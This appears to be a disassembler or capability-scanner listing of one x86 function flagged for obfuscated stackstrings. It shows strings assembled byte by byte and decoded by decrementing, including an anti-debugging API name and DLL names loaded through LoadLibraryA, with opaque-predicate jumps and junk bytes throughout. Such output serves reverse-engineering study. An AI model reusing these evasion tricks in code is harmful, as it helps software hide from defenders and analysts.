Function at 0x4a1250
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
jb 0x4a10bd
jae 0x4a10bd
call 0x45d7232b
call 0xe89a1130
out 0x83, al
invalid
push 0x12
lea eax, [ebp - 0x18]
push 0
push eax
call fcn.004994b0
mov cl, 0x68
mov dl, 0x74
mov byte [ebp - 0x12], cl
mov byte [ebp - 0x11], cl
mov al, 0x66
mov cl, 0x73
add esp, 0xc
mov byte [ebp - 0x18], 0x4a
mov byte [ebp - 0x17], dl
mov byte [ebp - 0x16], 0x45
mov byte [ebp - 0x15], al
mov byte [ebp - 0x14], 0x63
mov byte [ebp - 0x13], 0x76
mov byte [ebp - 0x10], al
mov byte [ebp - 0xf], cl
mov byte [ebp - 0xe], 0x51
mov byte [ebp - 0xd], cl
mov byte [ebp - 0xc], al
mov byte [ebp - 0xb], dl
mov byte [ebp - 0xa], al
mov byte [ebp - 9], 0x6f
mov byte [ebp - 8], 0x75
mov byte [ebp - 7], 0
jns 0x4a1118
js 0x4a1118
call 0x8b3266a6
dec ebp
in eax, dx
mov dl, byte [ebp - 0x18]
mov cl, byte [ebp - 0x13]
mov al, byte [ebp - 0xe]
dec dl
mov byte [ebp - 0x18], dl
mov dl, byte [ebp - 9]
dec cl
dec al
mov byte [ebp - 0x13], cl
mov cl, byte [ebp - 0x17]
dec dl
mov byte [ebp - 0xe], al
mov al, byte [ebp - 0x12]
mov byte [ebp - 9], dl
mov dl, byte [ebp - 0xd]
dec cl
dec al
mov byte [ebp - 0x17], cl
mov cl, byte [ebp - 8]
dec dl
mov byte [ebp - 0x12], al
mov al, byte [ebp - 0x16]
mov byte [ebp - 0xd], dl
mov dl, byte [ebp - 0x11]
dec cl
dec al
mov byte [ebp - 8], cl
mov cl, byte [ebp - 0xc]
dec dl
mov byte [ebp - 0x16], al
mov al, byte [ebp - 0x15]
mov byte [ebp - 0x11], dl
mov dl, byte [ebp - 0x10]
dec cl
dec al
mov byte [ebp - 0xc], cl
mov cl, byte [ebp - 0xb]
dec dl
mov byte [ebp - 0x15], al
mov al, byte [ebp - 0x14]
mov byte [ebp - 0x10], dl
mov dl, byte [ebp - 0xf]
dec cl
dec al
dec dl
mov byte [ebp - 0xb], cl
mov cl, byte [ebp - 0xa]
mov byte [ebp - 0x14], al
mov byte [ebp - 0xf], dl
dec cl
mov byte [ebp - 0xa], cl
jl 0x4a11a5
jge 0x4a11a5
call 0x99ce4734
dec eax
add byte [esi + 3], bh
mov esi, dword [0x489984]
jle 0x4a11b0
jg 0x4a11b0
call 0x2bbf0839
test esi, esi
je 0x4a11df
jb 0x4a11b9
jae 0x4a11b9
call 0x498d2e5e
add byte [ebx + eax + 0x7d], bh
add eax, ebp
mov eax, dword [0x49431c]
jl 0x4a11c3
jge 0x4a11c3
call 0x52325f54
lea ecx, [ebp - 0x18]
push ecx
push esi
call eax
mov edi, eax
jle 0x4a11d1
jg 0x4a11d1
push 0x52e8558d
lea edx, [ebp - 0x18]
push edx
push esi
call fcn.004a0ca0
mov esi, eax
jmp 0x4a11e5
mov edi, dword [ebp - 4]
mov esi, dword [ebp - 4]
jl 0x4a11ea
jge 0x4a11ea
call 0x45d72458
call 0xe89a125d
mov ecx, 0x83ffff82
les ecx, [ecx + edi*2]
add edi, dword [eax + 1]
push 0x12
lea eax, [ebp - 0x18]
push 0
push eax
call fcn.004994b0
add esp, 0xc
jns 0x4a11ff
js 0x4a11ff
call 0x5eaa093e
cmp esi, edi
pop edi
pop esi
je 0x4a1213
jb 0x4a120a
jae 0x4a120a
pop eax
mov eax, 0xd
mov esp, ebp
pop ebp
ret
jbe 0x4a1218
ja 0x4a1218
call 0x744a27a7
dec eax
add byte [eax + 0x11], bh
mov edx, dword [0x487400]
mov eax, 0x11
add edx, eax
mov dword [0x487400], edx
jle 0x4a1230
jg 0x4a1230
call 0x744e175d
dec eax
add byte [ebx + eax + 0x7d], bh
add eax, ebp
sub dword [0x487404], eax
jl 0x4a123b
jge 0x4a123b
call fcn.004a39f7
add byte [ebx - 0x6f3ca21b], cl
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
jo 0x4a125d
mov eax, 0x27
mov esp, ebp
pop ebp
ret
jno 0x4a125d
call 0x46108014
div dword [ebx]
mov bl, 0x6d
mov byte [ebp - 9], 0x33
mov byte [ebp - 0xf], 0x70
mov byte [ebp - 7], 0x65
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xa], 0x34
mov byte [ebp - 5], bl
mov byte [ebp - 0x10], 0x64
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 4], 0
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xb], 0x68
mov byte [ebp - 8], 0x2f
jne 0x4a1292
je 0x4a1292
call 0x8b416020
inc ebp
int1
mov cl, byte [ebp - 9]
mov al, byte [ebp - 0xf]
mov dl, byte [ebp - 7]
dec cl
dec al
mov byte [ebp - 9], cl
mov cl, byte [ebp - 0xe]
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0xc]
dec dl
dec cl
mov byte [ebp - 7], dl
mov dl, byte [ebp - 0xb]
dec al
mov byte [ebp - 0xe], cl
mov cl, byte [ebp - 8]
mov byte [ebp - 0xc], al
mov al, byte [ebp - 0xa]
dec dl
dec cl
mov byte [ebp - 0xb], dl
mov dl, byte [ebp - 5]
dec al
mov byte [ebp - 8], cl
mov cl, byte [ebp - 0x10]
mov byte [ebp - 0xa], al
mov al, byte [ebp - 0xd]
dec dl
dec cl
dec al
mov byte [ebp - 5], dl
mov byte [ebp - 0x10], cl
mov byte [ebp - 0xd], al
mov byte [ebp - 6], 0x6c
jp 0x4a12f3
jnp 0x4a12f3
call 0x60524882
dec ecx
add byte [ebp - 0xaf0fbb], cl
salc
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x10]
push eax
call esi
jne 0x4a1304
je 0x4a1304
call 0x4e3e58ce
mov byte [ebp - 0xc], 0x4d
mov byte [ebp - 0xf], 0x49
mov byte [ebp - 0x10], 0x54
mov byte [ebp - 6], bl
mov byte [ebp - 0xb], 0x45
mov byte [ebp - 0xe], 0x47
mov byte [ebp - 0xa], 0x46
mov byte [ebp - 5], bl
mov byte [ebp - 9], 0x53
mov byte [ebp - 7], 0x65
mov byte [ebp - 4], 0
mov byte [ebp - 8], 0x2f
mov byte [ebp - 0xd], 0x50
jl 0x4a133b
jge 0x4a133b
xor al, 0x8a
push ebp
test dword [edx + 0x458af14d], 0xfecafef9
leave
mov dl, byte [ebp - 9]
mov cl, byte [ebp - 0xf]
mov al, byte [ebp - 7]
dec dl
dec cl
dec al
mov byte [ebp - 9], dl
mov dl, byte [ebp - 0xe]
mov byte [ebp - 0xf], cl
mov byte [ebp - 7], al
mov cl, byte [ebp - 0xc]
mov al, byte [ebp - 0xb]
dec dl
dec cl
mov byte [ebp - 0xe], dl
mov dl, byte [ebp - 8]
dec al
mov byte [ebp - 0xc], cl
mov cl, byte [ebp - 0xa]
mov byte [ebp - 0xb], al
mov al, byte [ebp - 5]
dec dl
dec cl
mov byte [ebp - 8], dl
mov dl, byte [ebp - 0x10]
dec al
mov byte [ebp - 0xa], cl
mov cl, byte [ebp - 0xd]
mov byte [ebp - 5], al
mov al, byte [ebp - 6]
dec dl
dec cl
dec al
mov byte [ebp - 0x10], dl
mov byte [ebp - 0xd], cl
mov byte [ebp - 6], al
jl 0x4a13a0
jge 0x4a13a0
xor al, 0x8d
dec ebp
invalid
lea ecx, [ebp - 0x10]
push ecx
call esi
jne 0x4a13ab
je 0x4a13ab
call 0x543a5975
mov byte [ebp - 0x10], 0x53
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 6], bl
mov byte [ebp - 0xf], 0x46
mov byte [ebp - 0xb], 0x43
mov byte [ebp - 8], 0x65
mov byte [ebp - 0xa], 0x37
mov byte [ebp - 0xe], 0x57
mov byte [ebp - 9], 0x2f
mov byte [ebp - 0xd], 0x46
mov byte [ebp - 7], bl
mov byte [ebp - 5], 0
jle 0x4a13de
jg 0x4a13de
call 0x8b41596c
push ebp
int1
mov al, byte [ebp - 9]
mov dl, byte [ebp - 0xf]
mov cl, byte [ebp - 7]
dec al
dec dl
mov byte [ebp - 9], al
mov al, byte [ebp - 0xe]
mov byte [ebp - 0xf], dl
mov dl, byte [ebp - 0xc]
dec cl
dec al
mov byte [ebp - 7], cl
mov cl, byte [ebp - 0xb]
dec dl
mov byte [ebp - 0xe], al
mov al, byte [ebp - 8]
mov byte [ebp - 0xc], dl
mov dl, byte [ebp - 0xa]
dec cl
dec al
mov byte [ebp - 0xb], cl
mov cl, byte [ebp - 0x10]
dec dl
mov byte [ebp - 8], al
mov al, byte [ebp - 0xd]
mov byte [ebp - 0xa], dl
mov dl, byte [ebp - 6]
dec cl
dec al
dec dl
mov byte [ebp - 0x10], cl
mov byte [ebp - 0xd], al
mov byte [ebp - 6], dl
jle 0x4a143b
jg 0x4a143b
call 0x533a69cc
lea edx, [ebp - 0x10]
push edx
call esi
jbe 0x4a1446
ja 0x4a1446
call 0x443f5a10
mov byte [ebp - 0xb], 0x43
mov byte [ebp - 0x10], 0x53
mov byte [ebp - 0xe], 0x57
mov byte [ebp - 9], 0x2f
mov byte [ebp - 0xd], 0x46
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xa], 0x32
mov byte [ebp - 5], 0
mov byte [ebp - 0xf], 0x46
mov byte [ebp - 7], bl
mov byte [ebp - 6], bl
mov byte [ebp - 8], 0x65
jle 0x4a1479
jg 0x4a1479
call 0x8b415a07
push ebp
int1
mov al, byte [ebp - 9]
mov dl, byte [ebp - 0xf]
mov cl, byte [ebp - 7]
dec al
dec dl
mov byte [ebp - 9], al
mov al, byte [ebp - 0xe]
mov byte [ebp - 0xf], dl
mov dl, byte [ebp - 0xc]
dec cl
dec al
mov byte [ebp - 7], cl
mov cl, byte [ebp - 0xb]
dec dl
mov byte [ebp - 0xe], al
mov al, byte [ebp - 8]
mov byte [ebp - 0xc], dl
mov dl, byte [ebp - 0xa]
dec cl
dec al
mov byte [ebp - 0xb], cl
mov cl, byte [ebp - 0x10]
dec dl
mov byte [ebp - 8], al
mov al, byte [ebp - 0xd]
mov byte [ebp - 0xa], dl
mov dl, byte [ebp - 6]
dec cl
dec al
dec dl
mov byte [ebp - 0x10], cl
mov byte [ebp - 0xd], al
mov byte [ebp - 6], dl
jle 0x4a14d6
jg 0x4a14d6
call 0x513a5a67
lea eax, [ebp - 0x10]
push eax
call esi
jbe 0x4a14e1
ja 0x4a14e1
call 0x34405aab
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 7], bl
mov byte [ebp - 0x10], 0x53
mov byte [ebp - 0xe], 0x57
mov byte [ebp - 0xf], 0x46
mov byte [ebp - 0xd], 0x46
mov byte [ebp - 0xb], 0x43
mov byte [ebp - 6], bl
mov byte [ebp - 9], 0x2f
mov byte [ebp - 8], 0x65
mov byte [ebp - 5], 0
mov byte [ebp - 0xc], 0x53
jle 0x4a1514
jg 0x4a1514
call 0x8b416aa2
dec ebp
int1
mov dl, byte [ebp - 9]
mov cl, byte [ebp - 0xf]
mov al, byte [ebp - 7]
dec dl
dec cl
mov byte [ebp - 9], dl
mov dl, byte [ebp - 0xe]
mov byte [ebp - 0xf], cl
mov cl, byte [ebp - 0xc]
dec al
dec dl
dec cl
mov byte [ebp - 7], al
mov al, byte [ebp - 0xb]
mov byte [ebp - 0xe], dl
mov byte [ebp - 0xc], cl
mov dl, byte [ebp - 8]
mov cl, byte [ebp - 0xa]
dec al
dec dl
mov byte [ebp - 0xb], al
mov al, byte [ebp - 0x10]
dec cl
mov byte [ebp - 8], dl
mov dl, byte [ebp - 0xd]
mov byte [ebp - 0xa], cl
mov cl, byte [ebp - 6]
dec al
dec dl
dec cl
mov byte [ebp - 0x10], al
mov byte [ebp - 0xd], dl
mov byte [ebp - 6], cl
jbe 0x4a1571
ja 0x4a1571
call 0x523a6302
lea ecx, [ebp - 0x10]
push ecx
call esi
jp 0x4a157c
jnp 0x4a157c
call 0x723e5b46
mov byte [ebp - 0xc], 0x71
mov byte [ebp - 0xb], 0x6a
mov byte [ebp - 0xa], 0x34
mov byte [ebp - 9], 0x33
mov byte [ebp - 0x10], 0x42
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x77
mov byte [ebp - 0xd], 0x62
mov byte [ebp - 8], 0x2f
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], bl
mov byte [ebp - 5], bl
mov byte [ebp - 4], 0
jbe 0x4a15b3
ja 0x4a15b3
call 0xe5d57115
pop esi
pop ebx
mov esp, ebp
pop ebp
ret